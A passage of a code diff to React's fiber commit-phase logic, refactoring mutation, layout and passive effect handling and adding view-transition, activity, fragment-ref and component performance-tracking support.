-          const pendingChildren = portal.pendingChildren;
-          try {
-            replaceContainerChildren(containerInfo, pendingChildren);
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
+          commitHostPortalContainerChildren(
+            finishedWork.stateNode,
+            finishedWork,
+            finishedWork.stateNode.pendingChildren,
+          );
         }
       }
-      return;
+      break;
+    }
+    case Profiler: {
+      const prevProfilerEffectDuration = pushNestedEffectDurations();
+
+      recursivelyTraverseMutationEffects(root, finishedWork, lanes);
+      commitReconciliationEffects(finishedWork, lanes);
+
+      if (enableProfilerTimer && enableProfilerCommitHooks) {
+        const profilerInstance = finishedWork.stateNode;
+        // Propagate layout effect durations to the next nearest Profiler ancestor.
+        // Do not reset these values until the next render so DevTools has a chance to read them first.
+        profilerInstance.effectDuration += bubbleNestedEffectDurations(
+          prevProfilerEffectDuration,
+        );
+      }
+      break;
+    }
+    case ActivityComponent: {
+      recursivelyTraverseMutationEffects(root, finishedWork, lanes);
+      commitReconciliationEffects(finishedWork, lanes);
+      if (flags & Update) {
+        const retryQueue: RetryQueue | null = (finishedWork.updateQueue: any);
+        if (retryQueue !== null) {
+          finishedWork.updateQueue = null;
+          attachSuspenseRetryListeners(finishedWork, retryQueue);
+        }
+      }
+      break;
     }
     case SuspenseComponent: {
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+      commitReconciliationEffects(finishedWork, lanes);
 
       // TODO: We should mark a flag on the Suspense fiber itself, rather than
       // relying on the Offscreen fiber having a flag also being marked. The
@@ -2945,15 +2479,9 @@ function commitMutationEffectsOnFiber(
           attachSuspenseRetryListeners(finishedWork, retryQueue);
         }
       }
-      return;
+      break;
     }
     case OffscreenComponent: {
-      if (flags & Ref) {
-        if (current !== null) {
-          safelyDetachRef(current, current.return);
-        }
-      }
-
       const newState: OffscreenState | null = finishedWork.memoizedState;
       const isHidden = newState !== null;
       const wasHidden = current !== null && current.memoizedState !== null;
@@ -2964,29 +2492,45 @@ function commitMutationEffectsOnFiber(
         // effects again.
         const prevOffscreenSubtreeIsHidden = offscreenSubtreeIsHidden;
         const prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
+        const prevOffscreenDirectParentIsHidden = offscreenDirectParentIsHidden;
         offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden || isHidden;
+        offscreenDirectParentIsHidden =
+          prevOffscreenDirectParentIsHidden || isHidden;
         offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || wasHidden;
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
         offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
+        offscreenDirectParentIsHidden = prevOffscreenDirectParentIsHidden;
         offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden;
+
+        if (
+          // If this was the root of the reappear.
+          wasHidden &&
+          !isHidden &&
+          !prevOffscreenSubtreeIsHidden &&
+          !prevOffscreenSubtreeWasHidden &&
+          enableProfilerTimer &&
+          enableProfilerCommitHooks &&
+          enableComponentPerformanceTrack &&
+          (finishedWork.mode & ProfileMode) !== NoMode &&
+          componentEffectStartTime >= 0 &&
+          componentEffectEndTime >= 0 &&
+          componentEffectEndTime - componentEffectStartTime > 0.05
+        ) {
+          logComponentReappeared(
+            finishedWork,
+            componentEffectStartTime,
+            componentEffectEndTime,
+          );
+        }
       } else {
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
       }
 
-      commitReconciliationEffects(finishedWork);
-
-      const offscreenInstance: OffscreenInstance = finishedWork.stateNode;
-
-      // TODO: Add explicit effect flag to set _current.
-      offscreenInstance._current = finishedWork;
-
-      // Offscreen stores pending changes to visibility in `_pendingVisibility`. This is
-      // to support batching of `attach` and `detach` calls.
-      offscreenInstance._visibility &= ~OffscreenDetached;
-      offscreenInstance._visibility |=
-        offscreenInstance._pendingVisibility & OffscreenDetached;
+      commitReconciliationEffects(finishedWork, lanes);
 
       if (flags & Visibility) {
+        const offscreenInstance: OffscreenInstance = finishedWork.stateNode;
+
         // Track the current state on the Offscreen instance so we can
         // read it during an event
         if (isHidden) {
@@ -2995,34 +2539,49 @@ function commitMutationEffectsOnFiber(
           offscreenInstance._visibility |= OffscreenVisible;
         }
 
+        const isUpdate = current !== null;
         if (isHidden) {
-          const isUpdate = current !== null;
-          const wasHiddenByAncestorOffscreen =
-            offscreenSubtreeIsHidden || offscreenSubtreeWasHidden;
-          // Only trigger disapper layout effects if:
+          // Only trigger disappear layout effects if:
           //   - This is an update, not first mount.
           //   - This Offscreen was not hidden before.
-          //   - Ancestor Offscreen was not hidden in previous commit.
-          if (isUpdate && !wasHidden && !wasHiddenByAncestorOffscreen) {
+          //   - Ancestor Offscreen was not hidden in previous commit or in this commit
+          if (
+            isUpdate &&
+            !wasHidden &&
+            !offscreenSubtreeIsHidden &&
+            !offscreenSubtreeWasHidden
+          ) {
             if (
               disableLegacyMode ||
               (finishedWork.mode & ConcurrentMode) !== NoMode
             ) {
               // Disappear the layout effects of all the children
               recursivelyTraverseDisappearLayoutEffects(finishedWork);
+
+              if (
+                enableProfilerTimer &&
+                enableProfilerCommitHooks &&
+                enableComponentPerformanceTrack &&
+                (finishedWork.mode & ProfileMode) !== NoMode &&
+                componentEffectStartTime >= 0 &&
+                componentEffectEndTime >= 0 &&
+                componentEffectEndTime - componentEffectStartTime > 0.05
+              ) {
+                logComponentDisappeared(
+                  finishedWork,
+                  componentEffectStartTime,
+                  componentEffectEndTime,
+                );
+              }
             }
           }
-        } else {
-          if (wasHidden) {
-            // TODO: Move re-appear call here for symmetry?
-          }
         }
 
-        // Offscreen with manual mode manages visibility manually.
-        if (supportsMutation && !isOffscreenManual(finishedWork)) {
-          // TODO: This needs to run whenever there's an insertion or update
-          // inside a hidden Offscreen tree.
-          hideOrUnhideAllChildren(finishedWork, isHidden);
+        if (supportsMutation) {
+          // If it's trying to unhide but the parent is still hidden, then we should not unhide.
+          if (isHidden || !offscreenDirectParentIsHidden) {
+            hideOrUnhideAllChildren(finishedWork, isHidden);
+          }
         }
       }
 
@@ -3038,11 +2597,11 @@ function commitMutationEffectsOnFiber(
           }
         }
       }
-      return;
+      break;
     }
     case SuspenseListComponent: {
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+      commitReconciliationEffects(finishedWork, lanes);
 
       if (flags & Update) {
         const retryQueue: Set<Wakeable> | null =
@@ -3052,47 +2611,135 @@ function commitMutationEffectsOnFiber(
           attachSuspenseRetryListeners(finishedWork, retryQueue);
         }
       }
-      return;
+      break;
+    }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        if (flags & Ref) {
+          if (!offscreenSubtreeWasHidden && current !== null) {
+            safelyDetachRef(current, current.return);
+          }
+        }
+        const prevMutationContext = pushMutationContext();
+        const prevUpdate = inUpdateViewTransition;
+        const isViewTransitionEligible =
+          enableViewTransition &&
+          includesOnlyViewTransitionEligibleLanes(lanes);
+        const props = finishedWork.memoizedProps;
+        inUpdateViewTransition =
+          isViewTransitionEligible &&
+          getViewTransitionClassName(props.default, props.update) !== 'none';
+        recursivelyTraverseMutationEffects(root, finishedWork, lanes);
+        commitReconciliationEffects(finishedWork, lanes);
+        if (isViewTransitionEligible) {
+          if (current === null) {
+            // This is a new mount. We should have handled this as part of the
+            // Placement effect or it is deeper inside a entering transition.
+          } else if (viewTransitionMutationContext) {
+            // Something mutated in this tree so we need to animate this regardless
+            // what the measurements say. We use the Update flag to track this.
+            // If diffing was done in the render phase, like we used, this could have
+            // been done in the render already.
+            finishedWork.flags |= Update;
+          }
+        }
+        inUpdateViewTransition = prevUpdate;
+        popMutationContext(prevMutationContext);
+        break;
+      }
+      break;
     }
     case ScopeComponent: {
       if (enableScopeAPI) {
         recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-        commitReconciliationEffects(finishedWork);
+        commitReconciliationEffects(finishedWork, lanes);
 
         // TODO: This is a temporary solution that allowed us to transition away
         // from React Flare on www.
         if (flags & Ref) {
-          if (current !== null) {
+          if (!offscreenSubtreeWasHidden && current !== null) {
             safelyDetachRef(finishedWork, finishedWork.return);
           }
-          safelyAttachRef(finishedWork, finishedWork.return);
+          if (!offscreenSubtreeIsHidden) {
+            safelyAttachRef(finishedWork, finishedWork.return);
+          }
         }
         if (flags & Update) {
           const scopeInstance = finishedWork.stateNode;
           prepareScopeUpdate(scopeInstance, finishedWork);
         }
       }
-      return;
+      break;
     }
+    case Fragment:
+      if (enableFragmentRefs) {
+        if (current && current.stateNode !== null) {
+          updateFragmentInstanceFiber(finishedWork, current.stateNode);
+        }
+      }
+    // Fallthrough
     default: {
       recursivelyTraverseMutationEffects(root, finishedWork, lanes);
-      commitReconciliationEffects(finishedWork);
+      commitReconciliationEffects(finishedWork, lanes);
 
-      return;
+      break;
+    }
+  }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0
+  ) {
+    if (componentEffectSpawnedUpdate || componentEffectDuration > 0.05) {
+      logComponentEffect(
+        finishedWork,
+        componentEffectStartTime,
+        componentEffectEndTime,
+        componentEffectDuration,
+        componentEffectErrors,
+      );
+    }
+    if (
+      // Insertion
+      finishedWork.alternate === null &&
+      finishedWork.return !== null &&
+      finishedWork.return.alternate !== null &&
+      componentEffectEndTime - componentEffectStartTime > 0.05
+    ) {
+      const isHydration = isHydratingParent(
+        finishedWork.return.alternate,
+        finishedWork.return,
+      );
+      if (!isHydration) {
+        logComponentMount(
+          finishedWork,
+          componentEffectStartTime,
+          componentEffectEndTime,
+        );
+      }
     }
   }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
 }
-function commitReconciliationEffects(finishedWork: Fiber) {
+
+function commitReconciliationEffects(
+  finishedWork: Fiber,
+  committedLanes: Lanes,
+) {
   // Placement effects (insertions, reorders) can be scheduled on any fiber
   // type. They needs to happen after the children effects have fired, but
   // before the effects on this fiber have fired.
   const flags = finishedWork.flags;
   if (flags & Placement) {
-    try {
-      commitPlacement(finishedWork);
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
+    commitHostPlacement(finishedWork);
     // Clear the "placement" from effect tag so that we know that this is
     // inserted, before any life-cycles like componentDidMount gets called.
     // TODO: findDOMNode doesn't rely on this any more but isMounted does
@@ -3122,6 +2769,185 @@ function resetFormOnFiber(fiber: Fiber) {
   }
 }
 
+export function commitAfterMutationEffects(
+  root: FiberRoot,
+  finishedWork: Fiber,
+  committedLanes: Lanes,
+): void {
+  if (!enableViewTransition) {
+    // This phase is only used for view transitions.
+    return;
+  }
+  commitAfterMutationEffectsOnFiber(finishedWork, root, committedLanes);
+}
+
+function recursivelyTraverseAfterMutationEffects(
+  root: FiberRoot,
+  parentFiber: Fiber,
+  lanes: Lanes,
+) {
+  // We need to visit the same nodes that we visited in the before mutation phase.
+  if (parentFiber.subtreeFlags & BeforeAndAfterMutationTransitionMask) {
+    let child = parentFiber.child;
+    while (child !== null) {
+      commitAfterMutationEffectsOnFiber(child, root, lanes);
+      child = child.sibling;
+    }
+  } else {
+    // Nothing has changed in this subtree, but the parent may have still affected
+    // its size and position. We need to measure this and if not, restore it to
+    // not animate.
+    measureNestedViewTransitions(parentFiber, false);
+  }
+}
+
+function commitAfterMutationEffectsOnFiber(
+  finishedWork: Fiber,
+  root: FiberRoot,
+  lanes: Lanes,
+) {
+  const current = finishedWork.alternate;
+  if (current === null) {
+    // This is a newly inserted subtree. We can't use Placement flags to detect
+    // this since they get removed in the mutation phase. Usually it's not enough
+    // to just check current because that can also happen deeper in the same tree.
+    // However, since we don't need to visit newly inserted subtrees in AfterMutation
+    // we can just bail after we're done with the first one.
+    // The first ViewTransition inside a newly mounted tree runs an enter transition
+    // but other nested ones don't unless they have a named pair.
+    commitEnterViewTransitions(finishedWork, false);
+    return;
+  }
+
+  switch (finishedWork.tag) {
+    case HostRoot: {
+      viewTransitionContextChanged = false;
+      rootViewTransitionNameCanceled = false;
+      pushViewTransitionCancelableScope();
+      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+      if (!viewTransitionContextChanged && !rootViewTransitionAffected) {
+        // If we didn't leak any resizing out to the root, we don't have to transition
+        // the root itself. This means that we can now safely cancel any cancellations
+        // that bubbled all the way up.
+        const cancelableChildren = viewTransitionCancelableChildren;
+        if (cancelableChildren !== null) {
+          for (let i = 0; i < cancelableChildren.length; i += 3) {
+            cancelViewTransitionName(
+              ((cancelableChildren[i]: any): Instance),
+              ((cancelableChildren[i + 1]: any): string),
+              ((cancelableChildren[i + 2]: any): Props),
+            );
+          }
+        }
+        // We also cancel the root itself.
+        cancelRootViewTransitionName(root.containerInfo);
+        rootViewTransitionNameCanceled = true;
+      }
+      popViewTransitionCancelableScope(null);
+      break;
+    }
+    case HostComponent: {
+      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+      break;
+    }
+    case HostPortal: {
+      const prevContextChanged = viewTransitionContextChanged;
+      viewTransitionContextChanged = false;
+      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+      if (viewTransitionContextChanged) {
+        // A Portal doesn't necessarily exist within the context of this subtree.
+        // Ideally we would track which React ViewTransition component nests the container
+        // but that's costly. Instead, we treat each Portal as if it's a new React root.
+        // Therefore any leaked resize of a child could affect the root so the root should animate.
+        // We only do this if the Portal is inside a ViewTransition and it is not disabled
+        // with update="none". Otherwise the Portal is considered not animating.
+        rootViewTransitionAffected = true;
+      }
+      viewTransitionContextChanged = prevContextChanged;
+      break;
+    }
+    case OffscreenComponent: {
+      const isModernRoot =
+        disableLegacyMode || (finishedWork.mode & ConcurrentMode) !== NoMode;
+      if (isModernRoot) {
+        const isHidden = finishedWork.memoizedState !== null;
+        if (isHidden) {
+          // The Offscreen tree is hidden. Skip over its after mutation effects.
+        } else {
+          // The Offscreen tree is visible.
+          const wasHidden = current.memoizedState !== null;
+          if (wasHidden) {
+            commitEnterViewTransitions(finishedWork, false);
+            // If it was previous hidden then the children are treated as enter
+            // not updates so we don't need to visit these children.
+          } else {
+            recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+          }
+        }
+      } else {
+        recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+      }
+      break;
+    }
+    case ViewTransitionComponent: {
+      const prevContextChanged = viewTransitionContextChanged;
+      const prevCancelableChildren = pushViewTransitionCancelableScope();
+      viewTransitionContextChanged = false;
+      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+
+      if (viewTransitionContextChanged) {
+        finishedWork.flags |= Update;
+      }
+
+      const inViewport = measureUpdateViewTransition(
+        current,
+        finishedWork,
+        false,
+      );
+
+      if ((finishedWork.flags & Update) === NoFlags || !inViewport) {
+        // If this boundary didn't update, then we may be able to cancel its children.
+        // We bubble them up to the parent set to be determined later if we can cancel.
+        // Similarly, if old and new state was outside the viewport, we can skip it
+        // even if it did update.
+        if (prevCancelableChildren === null) {
+          // Bubbling up this whole set to the parent.
+        } else {
+          // Merge with parent set.
+          // $FlowFixMe[method-unbinding]
+          prevCancelableChildren.push.apply(
+            prevCancelableChildren,
+            viewTransitionCancelableChildren,
+          );
+          popViewTransitionCancelableScope(prevCancelableChildren);
+        }
+        // TODO: If this doesn't end up canceled, because a parent animates,
+        // then we should probably issue an event since this instance is part of it.
+      } else {
+        const props: ViewTransitionProps = finishedWork.memoizedProps;
+        scheduleViewTransitionEvent(finishedWork, props.onUpdate);
+
+        // If this boundary did update, we cannot cancel its children so those are dropped.
+        popViewTransitionCancelableScope(prevCancelableChildren);
+      }
+
+      if ((finishedWork.flags & AffectedParentLayout) !== NoFlags) {
+        // This boundary changed size in a way that may have caused its parent to
+        // relayout. We need to bubble this information up to the parent.
+        viewTransitionContextChanged = true;
+      } else {
+        // Otherwise, we restore it to whatever the parent had found so far.
+        viewTransitionContextChanged = prevContextChanged;
+      }
+      break;
+    }
+    default: {
+      recursivelyTraverseAfterMutationEffects(root, finishedWork, lanes);
+      break;
+    }
+  }
+}
+
 export function commitLayoutEffects(
   finishedWork: Fiber,
   root: FiberRoot,
@@ -3130,19 +2956,10 @@ export function commitLayoutEffects(
   inProgressLanes = committedLanes;
   inProgressRoot = root;
 
+  resetComponentEffectTimers();
+
   const current = finishedWork.alternate;
-  if (__DEV__) {
-    runWithFiberInDEV(
-      finishedWork,
-      commitLayoutEffectOnFiber,
-      root,
-      current,
-      finishedWork,
-      committedLanes,
-    );
-  } else {
-    commitLayoutEffectOnFiber(root, current, finishedWork, committedLanes);
-  }
+  commitLayoutEffectOnFiber(root, current, finishedWork, committedLanes);
 
   inProgressLanes = null;
   inProgressRoot = null;
@@ -3157,49 +2974,28 @@ function recursivelyTraverseLayoutEffects(
     let child = parentFiber.child;
     while (child !== null) {
       const current = child.alternate;
-      if (__DEV__) {
-        runWithFiberInDEV(
-          child,
-          commitLayoutEffectOnFiber,
-          root,
-          current,
-          child,
-          lanes,
-        );
-      } else {
-        commitLayoutEffectOnFiber(root, current, child, lanes);
-      }
+      commitLayoutEffectOnFiber(root, current, child, lanes);
       child = child.sibling;
     }
   }
 }
 
 export function disappearLayoutEffects(finishedWork: Fiber) {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
   switch (finishedWork.tag) {
     case FunctionComponent:
     case ForwardRef:
     case MemoComponent:
     case SimpleMemoComponent: {
       // TODO (Offscreen) Check: flags & LayoutStatic
-      if (shouldProfile(finishedWork)) {
-        try {
-          startLayoutEffectTimer();
-          commitHookEffectListUnmount(
-            HookLayout,
-            finishedWork,
-            finishedWork.return,
-          );
-        } finally {
-          recordLayoutEffectDuration(finishedWork);
-        }
-      } else {
-        commitHookEffectListUnmount(
-          HookLayout,
-          finishedWork,
-          finishedWork.return,
-        );
-      }
-
+      commitHookLayoutUnmountEffects(
+        finishedWork,
+        finishedWork.return,
+        HookLayout,
+      );
       recursivelyTraverseDisappearLayoutEffects(finishedWork);
       break;
     }
@@ -3219,19 +3015,30 @@ export function disappearLayoutEffects(finishedWork: Fiber) {
       recursivelyTraverseDisappearLayoutEffects(finishedWork);
       break;
     }
+    case HostSingleton: {
+      if (supportsSingletons) {
+        // TODO (Offscreen) Check: flags & RefStatic
+        commitHostSingletonRelease(finishedWork);
+      }
+      // Expected fallthrough to HostComponent
+    }
     case HostHoistable:
-    case HostSingleton:
     case HostComponent: {
       // TODO (Offscreen) Check: flags & RefStatic
       safelyDetachRef(finishedWork, finishedWork.return);
 
+      if (
+        enableFragmentRefs &&
+        (finishedWork.tag === HostComponent ||
+          (enableFragmentRefsTextNodes && finishedWork.tag === HostText))
+      ) {
+        commitFragmentInstanceDeletionEffects(finishedWork);
+      }
+
       recursivelyTraverseDisappearLayoutEffects(finishedWork);
       break;
     }
     case OffscreenComponent: {
-      // TODO (Offscreen) Check: flags & RefStatic
-      safelyDetachRef(finishedWork, finishedWork.return);
-
       const isHidden = finishedWork.memoizedState !== null;
       if (isHidden) {
         // Nested Offscreen tree is already hidden. Don't disappear
@@ -3241,15 +3048,56 @@ export function disappearLayoutEffects(finishedWork: Fiber) {
       }
       break;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        if (__DEV__) {
+          if (finishedWork.flags & ViewTransitionNamedStatic) {
+            untrackNamedViewTransition(finishedWork);
+          }
+        }
+        safelyDetachRef(finishedWork, finishedWork.return);
+      }
+      recursivelyTraverseDisappearLayoutEffects(finishedWork);
+      break;
+    }
+    case Fragment: {
+      if (enableFragmentRefs) {
+        safelyDetachRef(finishedWork, finishedWork.return);
+      }
+      // Fallthrough
+    }
     default: {
       recursivelyTraverseDisappearLayoutEffects(finishedWork);
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      finishedWork,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
 }
 
 function recursivelyTraverseDisappearLayoutEffects(parentFiber: Fiber) {
-  // TODO (Offscreen) Check: flags & (RefStatic | LayoutStatic)
+  // TODO (Offscreen) Check: subtreeflags & (RefStatic | LayoutStatic)
   let child = parentFiber.child;
   while (child !== null) {
     disappearLayoutEffects(child);
@@ -3266,6 +3114,10 @@ export function reappearLayoutEffects(
   // node was reused.
   includeWorkInProgressEffects: boolean,
 ) {
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
   // Turn on layout effects in a tree that previously disappeared.
   const flags = finishedWork.flags;
   switch (finishedWork.tag) {
@@ -3288,23 +3140,9 @@ export function reappearLayoutEffects(
         includeWorkInProgressEffects,
       );
 
-      // TODO: Check for LayoutStatic flag
-      const instance = finishedWork.stateNode;
-      if (typeof instance.componentDidMount === 'function') {
-        try {
-          instance.componentDidMount();
-        } catch (error) {
-          captureCommitPhaseError(finishedWork, finishedWork.return, error);
-        }
-      }
+      commitClassDidMount(finishedWork);
 
-      // Commit any callbacks that would have fired while the component
-      // was hidden.
-      const updateQueue: UpdateQueue<mixed> | null =
-        (finishedWork.updateQueue: any);
-      if (updateQueue !== null) {
-        commitHiddenCallbacks(updateQueue, instance);
-      }
+      commitClassHiddenCallbacks(finishedWork);
 
       // If this is newly finished work, check for setState callbacks
       if (includeWorkInProgressEffects && flags & Callback) {
@@ -3321,9 +3159,26 @@ export function reappearLayoutEffects(
     // case HostRoot: {
     //  ...
     // }
+    case HostSingleton: {
+      if (supportsSingletons) {
+        // We acquire the singleton instance first so it has appropriate
+        // styles before other layout effects run. This isn't perfect because
+        // an early sibling of the singleton may have an effect that can
+        // observe the singleton before it is acquired.
+        // @TODO move this to the mutation phase. The reason it isn't there yet
+        // is it seemingly requires an extra traversal because we need to move the
+        // disappear effect into a phase before the appear phase
+        commitHostSingletonAcquisition(finishedWork);
+        // We fall through to the HostComponent case below.
+      }
+      // Fallthrough
+    }
     case HostHoistable:
-    case HostSingleton:
     case HostComponent: {
+      // TODO: Enable HostText for RN
+      if (enableFragmentRefs && finishedWork.tag === HostComponent) {
+        commitFragmentInstanceInsertionEffects(finishedWork);
+      }
       recursivelyTraverseReappearLayoutEffects(
         finishedRoot,
         finishedWork,
@@ -3335,7 +3190,7 @@ export function reappearLayoutEffects(
       // These effects should only be committed when components are first mounted,
       // aka when there is no current/alternate.
       if (includeWorkInProgressEffects && current === null && flags & Update) {
-        commitHostComponentMount(finishedWork);
+        commitHostMount(finishedWork);
       }
 
       // TODO: Check flags & Ref
@@ -3343,14 +3198,51 @@ export function reappearLayoutEffects(
       break;
     }
     case Profiler: {
+      // TODO: Figure out how Profiler updates should work with Offscreen
+      if (includeWorkInProgressEffects && flags & Update) {
+        const prevProfilerEffectDuration = pushNestedEffectDurations();
+
+        recursivelyTraverseReappearLayoutEffects(
+          finishedRoot,
+          finishedWork,
+          includeWorkInProgressEffects,
+        );
+
+        const profilerInstance = finishedWork.stateNode;
+
+        if (enableProfilerTimer && enableProfilerCommitHooks) {
+          // Propagate layout effect durations to the next nearest Profiler ancestor.
+          // Do not reset these values until the next render so DevTools has a chance to read them first.
+          profilerInstance.effectDuration += bubbleNestedEffectDurations(
+            prevProfilerEffectDuration,
+          );
+        }
+
+        commitProfilerUpdate(
+          finishedWork,
+          current,
+          commitStartTime,
+          profilerInstance.effectDuration,
+        );
+      } else {
+        recursivelyTraverseReappearLayoutEffects(
+          finishedRoot,
+          finishedWork,
+          includeWorkInProgressEffects,
+        );
+      }
+      break;
+    }
+    case ActivityComponent: {
       recursivelyTraverseReappearLayoutEffects(
         finishedRoot,
         finishedWork,
         includeWorkInProgressEffects,
       );
-      // TODO: Figure out how Profiler updates should work with Offscreen
+
       if (includeWorkInProgressEffects && flags & Update) {
-        commitProfilerUpdate(finishedWork, current);
+        // TODO: Delete this feature.
+        commitActivityHydrationCallbacks(finishedRoot, finishedWork);
       }
       break;
     }
@@ -3361,9 +3253,8 @@ export function reappearLayoutEffects(
         includeWorkInProgressEffects,
       );
 
-      // TODO: Figure out how Suspense hydration callbacks should work
-      // with Offscreen.
       if (includeWorkInProgressEffects && flags & Update) {
+        // TODO: Delete this feature.
         commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);
       }
       break;
@@ -3384,6 +3275,29 @@ export function reappearLayoutEffects(
       safelyAttachRef(finishedWork, finishedWork.return);
       break;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        recursivelyTraverseReappearLayoutEffects(
+          finishedRoot,
+          finishedWork,
+          includeWorkInProgressEffects,
+        );
+        if (__DEV__) {
+          if (flags & ViewTransitionNamedStatic) {
+            trackNamedViewTransition(finishedWork);
+          }
+        }
+        safelyAttachRef(finishedWork, finishedWork.return);
+        break;
+      }
+      break;
+    }
+    case Fragment: {
+      if (enableFragmentRefs) {
+        safelyAttachRef(finishedWork, finishedWork.return);
+      }
+      // Fallthrough
+    }
     default: {
       recursivelyTraverseReappearLayoutEffects(
         finishedRoot,
@@ -3393,6 +3307,29 @@ export function reappearLayoutEffects(
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0 &&
+    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)
+  ) {
+    logComponentEffect(
+      finishedWork,
+      componentEffectStartTime,
+      componentEffectEndTime,
+      componentEffectDuration,
+      componentEffectErrors,
+    );
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
 }
 
 function recursivelyTraverseReappearLayoutEffects(
@@ -3411,80 +3348,46 @@ function recursivelyTraverseReappearLayoutEffects(
   let child = parentFiber.child;
   while (child !== null) {
     const current = child.alternate;
-    if (__DEV__) {
-      runWithFiberInDEV(
-        child,
-        reappearLayoutEffects,
-        finishedRoot,
-        current,
-        child,
-        childShouldIncludeWorkInProgressEffects,
-      );
-    } else {
-      reappearLayoutEffects(
-        finishedRoot,
-        current,
-        child,
-        childShouldIncludeWorkInProgressEffects,
-      );
-    }
+    reappearLayoutEffects(
+      finishedRoot,
+      current,
+      child,
+      childShouldIncludeWorkInProgressEffects,
+    );
     child = child.sibling;
   }
 }
 
-function commitHookPassiveMountEffects(
-  finishedWork: Fiber,
-  hookFlags: HookFlags,
-) {
-  if (shouldProfile(finishedWork)) {
-    startPassiveEffectTimer();
-    try {
-      commitHookEffectListMount(hookFlags, finishedWork);
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
-    recordPassiveEffectDuration(finishedWork);
-  } else {
-    try {
-      commitHookEffectListMount(hookFlags, finishedWork);
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
-  }
-}
-
 function commitOffscreenPassiveMountEffects(
   current: Fiber | null,
   finishedWork: Fiber,
   instance: OffscreenInstance,
 ) {
-  if (enableCache) {
-    let previousCache: Cache | null = null;
-    if (
-      current !== null &&
-      current.memoizedState !== null &&
-      current.memoizedState.cachePool !== null
-    ) {
-      previousCache = current.memoizedState.cachePool.pool;
-    }
-    let nextCache: Cache | null = null;
-    if (
-      finishedWork.memoizedState !== null &&
-      finishedWork.memoizedState.cachePool !== null
-    ) {
-      nextCache = finishedWork.memoizedState.cachePool.pool;
+  let previousCache: Cache | null = null;
+  if (
+    current !== null &&
+    current.memoizedState !== null &&
+    current.memoizedState.cachePool !== null
+  ) {
+    previousCache = current.memoizedState.cachePool.pool;
+  }
+  let nextCache: Cache | null = null;
+  if (
+    finishedWork.memoizedState !== null &&
+    finishedWork.memoizedState.cachePool !== null
+  ) {
+    nextCache = finishedWork.memoizedState.cachePool.pool;
+  }
+  // Retain/release the cache used for pending (suspended) nodes.
+  // Note that this is only reached in the non-suspended/visible case:
+  // when the content is suspended/hidden, the retain/release occurs
+  // via the parent Suspense component (see case above).
+  if (nextCache !== previousCache) {
+    if (nextCache != null) {
+      retainCache(nextCache);
     }
-    // Retain/release the cache used for pending (suspended) nodes.
-    // Note that this is only reached in the non-suspended/visible case:
-    // when the content is suspended/hidden, the retain/release occurs
-    // via the parent Suspense component (see case above).
-    if (nextCache !== previousCache) {
-      if (nextCache != null) {
-        retainCache(nextCache);
-      }
-      if (previousCache != null) {
-        releaseCache(previousCache);
-      }
+    if (previousCache != null) {
+      releaseCache(previousCache);
     }
   }
 
@@ -3555,22 +3458,20 @@ function commitCachePassiveMountEffect(
   current: Fiber | null,
   finishedWork: Fiber,
 ) {
-  if (enableCache) {
-    let previousCache: Cache | null = null;
-    if (finishedWork.alternate !== null) {
